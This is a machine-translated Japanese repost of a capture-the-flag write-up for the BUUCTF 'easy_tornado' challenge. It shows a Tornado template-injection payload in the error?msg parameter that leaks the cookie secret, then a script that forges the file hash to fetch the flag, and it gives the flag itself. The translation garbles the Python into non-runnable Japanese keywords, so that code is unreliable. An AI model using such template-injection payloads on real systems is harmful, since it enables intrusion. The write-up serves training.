easy_tornadoのBuuctf ------- WEB

1. 3つのヒントを与えました

 

 

 

フラグに/ fllllllllllllagこちら

 

これら二つのことを竜巻+レンダリング、明らかにPythonのウェブ

 

 フラグへのプロンプト]フォルダに従って、訪問するパスを追加し、私はアクセスすることは不可能、ページにジャンプすること間違いました

 

 

 ここで、存在は、テンプレートの注入ではなかったことを疑うようになりました

入力データは、例えば、コードが実行されるとして扱われ、{1} + {1} 2エコー戻り、もちろん、通常の状況めったに。一般的な関数やキーワードが実行されます

最初に試します

公式サイトでは、おそらく、これらの機能を少し回し

 

 

 一つ一つを試してみてください

最初のエスケープは、直接行いました

http://9cc83977-4b02-44c3-93d1-b1f6d026f845.node1.buuoj.cn/error?msg={{escape}}

 

ここでプロンプトが、私たちはクッキーを必要とします

 

 

 参考WP、シェフが説明しました

 

 次に、ヒントヒントに従ってハッシュ値を計算します

!# - * -コーディング:UTF-8 - * - 
インポートhashlibの
デフMD5(S):
    MD5 = hashlib.md5()
    md5.update(S)
    (md5.hexdigest戻る)
DEFファイルハッシュ():
    ファイル名=「/ fllllllllllllag ' 
    cookie_secret = '01d3ae36-9d9e-44f4-b25e-405eda25b369' 
    プリント(MD5(cookie_secret + MD5(ファイル名)))
もし__name__ == '__main__':
    ファイルハッシュ()

 742267cca0cd702fac6bbaeb947cd61e、アクセス中フラグを持参

 

 

 フラグ:フラグ{94b1f826-b51b-4822-986f-bc718c19560b}

参考記事:

http://ch.vksec.com/2017/06/tornado.html

https://blog.csdn.net/weixin_44677409/article/details/94410580

https://tornado.readthedocs.io/en/latest/web.html#tornado.web.RequestHandler

https://www.kancloud.cn/kancloud/python-basic/41712

https://www.cnblogs.com/cimuhuashuimu/p/11544455.html

おすすめ

転載: www.cnblogs.com/mke2fs/p/11573786.html